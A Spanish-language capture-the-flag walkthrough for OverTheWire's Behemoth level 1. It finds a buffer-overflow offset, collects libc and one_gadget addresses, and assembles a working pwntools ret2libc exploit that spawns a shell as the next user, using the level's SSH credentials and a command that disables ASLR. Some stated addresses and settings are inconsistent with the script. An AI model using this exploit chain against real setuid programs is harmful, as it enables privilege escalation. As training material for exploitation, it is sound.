Behemoth1

Recordamos deshabilitar ASLR con: $ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space s

Encontrando el offset

Estos pasos se ejecutan en local

  1. Nos descargamos el binario a nuestra máquina.
  2. Generamos un patrón para pasarselo al binario como parámetro. AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZABABACACADADAEAEAFAFAGAGAHAHAIAIAJAJAKAKALALAMAMANANAOAOAPAPAQAQARARASASATATAUAUAVAVAWAWAXAXAYAY
  3. Abrimos GDB con: gdb ./behemoth1.
  4. Comenzamos con r.
  5. Enviamos el patrón creado al binario como password.
  6. Nos fijamos en la última línea para ver la dirección de ruptura.
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0x53535352 in ?? ()
  7. Ahora sabemos que el offset está en 0x53535352 que equivale a SSSR.
  8. Pasa saber el número sin tener que estar contando podemos ejecutar lo siguiente:
    python -c "print(len('AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRR'))"
    71
  9. Ya tenemos el offset que en este caso es 71.

Explorando Libc

Encontrando la ruta y la dirección

Estos pasos se ejecutan en la máquina remota

  1. Abrimos GDB con: gdb ./behemoth1.
  2. Ejecutamos el binario con r
  3. Cuando nos pida el input pulsamos Ctrl+C
  4. Ahora para mostrar la ruta y la dirección de libc ejecutamos info proc mappings

    (gdb) info proc mappings 
    process 503
    Mapped address spaces:
    
        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /behemoth/behemoth1
         0x8049000  0x804a000     0x1000        0x0 /behemoth/behemoth1
         0x804a000  0x806b000    0x21000        0x0 [heap]
        0xf7e10000 0xf7e12000     0x2000        0x0 
        0xf7e12000 0xf7fc3000   0x1b1000        0x0 /lib32/libc-2.24.so
        0xf7fc3000 0xf7fc5000     0x2000   0x1b0000 /lib32/libc-2.24.so
        0xf7fc5000 0xf7fc6000     0x1000   0x1b2000 /lib32/libc-2.24.so
        0xf7fc6000 0xf7fc9000     0x3000        0x0 
        0xf7fd2000 0xf7fd4000     0x2000        0x0 
        0xf7fd4000 0xf7fd7000     0x3000        0x0 [vvar]
        0xf7fd7000 0xf7fd9000     0x2000        0x0 [vdso]
        0xf7fd9000 0xf7ffc000    0x23000        0x0 /lib32/ld-2.24.so
        0xf7ffc000 0xf7ffd000     0x1000    0x22000 /lib32/ld-2.24.so
        0xf7ffd000 0xf7ffe000     0x1000    0x23000 /lib32/ld-2.24.so
        0xfffdd000 0xffffe000    0x21000        0x0 [stack]
  5. Como vemos, la ruta es /lib32/libc-2.24.so y la dirección de comienzo es 0xf7e10000
  6. Nos descargamos el archivo a nuestra máquina para continuar localmente.
  7. Para listar un gadget válido y que podamos utilizar de manera sencilla, ejecutamos one_gadget libc-2.24.so y obtendremos lo siguiente:

    0x3a71c execve("/bin/sh", esp+0x28, environ)
    constraints:
      esi is the GOT address of libc
      [esp+0x28] == NULL
    
    0x3a71e execve("/bin/sh", esp+0x2c, environ)
    constraints:
      esi is the GOT address of libc
      [esp+0x2c] == NULL
    
    0x3a722 execve("/bin/sh", esp+0x30, environ)
    constraints:
      esi is the GOT address of libc
      [esp+0x30] == NULL
    
    0x3a729 execve("/bin/sh", esp+0x34, environ)
    constraints:
      esi is the GOT address of libc
      [esp+0x34] == NULL
    
    0x5f7c5 execl("/bin/sh", eax)
    constraints:
      esi is the GOT address of libc
      eax == NULL
    
    0x5f7c6 execl("/bin/sh", [esp])
    constraints:
      esi is the GOT address of libc
      [esp] == NULL
  8. En este caso, el primero que nos ofrece es una buena opción ya que solo tiene como condiciones que "esi" apunte a la dirección GOT esi de libc y que "esp+0x28" sea nulo. Por lo tanto, nos apuntamos la dirección 0x3a71c correspondiente al gadget.

Encontrando esi

Obteniendo la dirección GOT de esi

  1. En local vamos a utilizar la herramienta llamada "ropper".
  2. Ejecutamos: ropper -f libc-2.24.so --search "pop esi".
  3. Ahora, de entre todos los resultados buscamos el más sencillo que encontremos, en este caso, casi al final de todo nos encontramos con el que vamos a usar así que, nos apuntamos su dirección.
    0x00017b46: pop esi; ret;

Obteniendo la dirección del valor para esi

  1. Desde la máquina remota, ejecutamos pwngdb: gdb ./behemoth1 -x /usr/local/pwndbg/gdbinit.py
  2. Ejecutamos con r
  3. Cuando nos pida la contraseña pulsamos Ctrl+c
  4. Ahora en al sección "Registers" observamos la dirección de "esi" que este caso es 0xf7fc55a0.
  5. Ejecutamos info proc mappings y buscamos la dirección más cercana a la encontrada anteriormente. Podríamos decir que es 0xf7fc5000

Escribiendo el exploit

Includes

  • Incluímos la librería pwn de pwntools que nos permitirá trabajar con las direcciones de memoria.
    from pwn import *

Conexión SSH

  • Almacenamos la conexión SSH en la variable "s".
  • Almacenamos el proceso del binario en la variable "p".
    s = ssh(host='behemoth.labs.overthewire.org', port=2221, user='behemoth1', password='aesebootiv')
    p = s.process('/behemoth/behemoth1')

Configuración de entorno

  • Indicamos que la plataforma es "amd64" la cual es compatible con x86 y x64.
    context.update(arch='amd64')

Direcciones de memoria

  • Creamos las variables necesiras con las direcciones de memoria que hemos conseguido anteriormente.
    libc = 0xf7e12000
    sh = 0x3a71c
    pop_esi = 0x00017b46
    got_esi = 0xf7fc5000

Offset y condiciones del gadget

  • Creamos el fragmento de payload para llenar el offset hasta el punto de ruptura.
  • Creamos el fragmento de payload lleno de nulos para cumplir la condición del gadget [esp+0x28] == NULL.
    offset = '\x90' * len('AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRR')
    nulls = '\x00' * 500

Montaje del payload

  • Montamos el payload con los datos anteriores en el orden correcto.
    payload = offset + p32(libc + pop_esi) + p32(got_esi) + p32(libc + sh) + nulls

Envio del payload

  • Enviamos el payload al proceso
    p.sendline(payload)

Recepción de shell interactiva

  • Convertimos el proceso en interactivo para utilizar nuestra shell.
    p.interactive()

Ejecución

# python behemoth1.py
/usr/local/lib/python2.7/dist-packages/cryptography-3.0-py2.7-linux-x86_64.egg/cryptography/__init__.py:39: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in a future release.
  CryptographyDeprecationWarning,
[+] Connecting to behemoth.labs.overthewire.org on port 2221: Done
[*] behemoth1@behemoth.labs.overthewire.org:
    Distro    Devuan 2.0
    OS:       linux
    Arch:     amd64
    Version:  4.18.12
    ASLR:     Disabled
[+] Starting remote process u'/behemoth//behemoth1' on behemoth.labs.overthewire.org: pid 2483
[*] Switching to interactive mode
Password: Authentication failure.
Sorry.
$ $ id
uid=13001(behemoth1) gid=13001(behemoth1) euid=13002(behemoth2) groups=13001(behemoth1)
$ $

Alternativa para 'Encontrando esi'

  • Para no tener que buscar la dirección de 'esi' podemos usar ELF.
    e = ELF('./libc-2.24.so')
    pop_esi = e.search(asm('pop esi; ret;', bits=32)).next()